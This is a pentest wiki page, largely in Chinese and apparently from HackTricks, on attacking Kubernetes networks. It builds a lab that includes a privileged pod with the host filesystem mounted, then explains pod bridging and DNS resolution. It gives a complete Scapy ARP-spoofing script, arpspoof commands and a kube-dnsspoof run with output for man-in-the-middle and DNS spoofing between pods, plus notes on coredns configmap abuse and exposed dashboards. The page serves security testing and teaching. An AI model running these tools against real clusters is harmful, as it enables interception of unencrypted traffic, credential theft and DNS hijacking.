11 KiB
Kubernetes Network Attacks
{{#include ../../banners/hacktricks-training.md}}
Introduction
在Kubernetes中,观察到默认行为允许同一节点上所有容器之间建立连接。这适用于命名空间的区别。因此,这种连接扩展到第2层(以太网)。因此,这种配置可能使系统暴露于漏洞之中。具体来说,它打开了恶意容器对同一节点上其他容器执行ARP欺骗攻击的可能性。在这种攻击中,恶意容器可以欺骗性地拦截或修改针对其他容器的网络流量。
ARP欺骗攻击涉及攻击者在局域网中发送伪造的ARP(地址解析协议)消息。这导致攻击者的MAC地址与网络上合法计算机或服务器的IP地址关联。在成功执行此类攻击后,攻击者可以拦截、修改或甚至停止传输中的数据。该攻击在OSI模型的第2层上执行,这就是为什么Kubernetes在这一层的默认连接引发安全担忧。
在这种情况下,将创建4台机器:
- ubuntu-pe: 特权机器,用于逃逸到节点并检查指标(攻击不需要)
- ubuntu-attack: 恶意容器在默认命名空间中
- ubuntu-victim: 受害者机器在kube-system命名空间中
- mysql: 受害者机器在默认命名空间中
echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
基本的 Kubernetes 网络
如果您想了解更多关于这里介绍的网络主题的细节,请查看参考资料。
ARP
一般来说,节点内部的 pod-to-pod 网络是通过一个连接所有 pod 的 bridge 可用的。这个 bridge 被称为“cbr0”。(一些网络插件会安装它们自己的 bridge。)cbr0 也可以处理 ARP(地址解析协议)解析。当一个传入的数据包到达 cbr0 时,它可以使用 ARP 解析目标 MAC 地址。
这一事实意味着,默认情况下,在同一节点中运行的每个 pod都能够在以太网层(第 2 层)上与同一节点中的任何其他 pod 通信(与命名空间无关)。
Warning
因此,可以在同一节点中的 pod 之间执行 ARP 欺骗攻击。
DNS
在 Kubernetes 环境中,您通常会发现 1 个(或多个)DNS 服务正在运行,通常在 kube-system 命名空间中:
kubectl -n kube-system describe services
Name: kube-dns
Namespace: kube-system
Labels: k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations: prometheus.io/port: 9153
prometheus.io/scrape: true
Selector: k8s-app=kube-dns
Type: ClusterIP
IP Families: <none>
IP: 10.96.0.10
IPs: 10.96.0.10
Port: dns 53/UDP
TargetPort: 53/UDP
Endpoints: 172.17.0.2:53
Port: dns-tcp 53/TCP
TargetPort: 53/TCP
Endpoints: 172.17.0.2:53
Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
在之前的信息中,你可以看到一些有趣的内容,服务的IP是10.96.0.10,但运行该服务的pod的IP是172.17.0.2。
如果你检查任何pod内部的DNS地址,你会发现类似这样的内容:
cat /etc/resolv.conf
nameserver 10.96.0.10
然而,pod 不知道 如何到达该 地址,因为在这种情况下 pod 范围 是 172.17.0.10/26。
因此,pod 将把 DNS 请求发送到地址 10.96.0.10,该地址将被 cbr0 转换 为 172.17.0.2。
Warning
这意味着 pod 的 DNS 请求 总是 会通过 桥接 来 转换 服务 IP 到端点 IP,即使 DNS 服务器与 pod 在同一子网络中。
了解这一点,并且知道 ARP 攻击是可能的,节点中的 pod 将能够 拦截每个 pod 在 子网络 和 桥接 之间的 流量 并 修改 来自 DNS 服务器的 DNS 响应(DNS 欺骗)。
此外,如果 DNS 服务器 与攻击者在 同一节点,攻击者可以 拦截集群中任何 pod 的所有 DNS 请求(在 DNS 服务器和桥接之间)并修改响应。
同一节点中 pods 的 ARP 欺骗
我们的目标是 窃取至少从 ubuntu-victim 到 mysql 的通信。
Scapy
python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses
# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0
# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *
def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac
def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)
def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)
def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")
try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()
try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()
if __name__=="__main__":
main()
# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
ARPSpoof
apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10
DNS Spoofing
正如之前提到的,如果你攻陷了与DNS服务器pod在同一节点的pod,你可以通过ARPSpoofing对桥接和DNS pod进行中间人攻击并修改所有DNS响应。
你有一个非常好的工具和教程来测试这个在 https://github.com/danielsagi/kube-dnsspoof/
在我们的场景中,下载攻击者pod中的工具并创建一个名为hosts的文件,其中包含你想要欺骗的域名,例如:
cat hosts
google.com. 1.1.1.1
对ubuntu-victim机器执行攻击:
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge: 172.17.0.1 02:42:bd:63:07:8d
Kube-dns: 172.17.0.2 02:42:ac:11:00:02
[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com. 1 IN A 1.1.1.1
Note
如果你尝试创建自己的 DNS 欺骗脚本,仅仅修改 DNS 响应是不行的,因为 响应将会有一个 源 IP,即 恶意 pod 的 IP 地址,并且不会被接受。
你需要生成一个 新的 DNS 数据包,其 源 IP 是受害者发送 DNS 请求的 DNS(类似于 172.16.0.2,而不是 10.96.0.10,那是 K8s DNS 服务 IP,而不是 DNS 服务器 IP,更多内容在介绍中)。
通过 coreDNS configmap 进行 DNS 欺骗
在 kube-system 命名空间中对 configmap coredns 具有写权限的用户可以修改集群的 DNS 响应。
有关此攻击的更多信息,请查看:
{{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}}
滥用暴露的 Kubernetes 管理服务
像 Apache NiFi、Kubeflow、Argo Workflows、Weave Scope 和 Kubernetes 仪表板这样的服务通常暴露在互联网或 Kubernetes 网络中。成功找到任何用于管理 Kubernetes 的平台并访问它的攻击者可以滥用它以获取对 Kubernetes API 的访问权限,并执行诸如创建新 pod、修改现有 pod 或甚至删除它们的操作。
枚举 Kubernetes 网络策略
获取配置的 networkpolicies:
kubectl get networkpolicies --all-namespaces
获取 Callico 网络策略:
kubectl get globalnetworkpolicy --all-namespaces
获取 Cillium 网络策略:
kubectl get ciliumnetworkpolicy --all-namespaces
获取您的网络插件或安全解决方案安装的其他与策略相关的 CRD:
kubectl get crd | grep -i policy
捕获流量
工具 Mizu 是一个简单而强大的 API 流量查看器,用于 Kubernetes,使您能够 查看微服务之间的所有 API 通信,以帮助您调试和排查回归问题。
它将在选定的 pod 中安装代理,收集它们的流量信息并在 web 服务器中显示。然而,您需要较高的 K8s 权限才能使用此工具(而且它并不是非常隐蔽)。
参考
- https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1
- https://blog.aquasec.com/dns-spoofing-kubernetes-clusters
{{#include ../../banners/hacktricks-training.md}}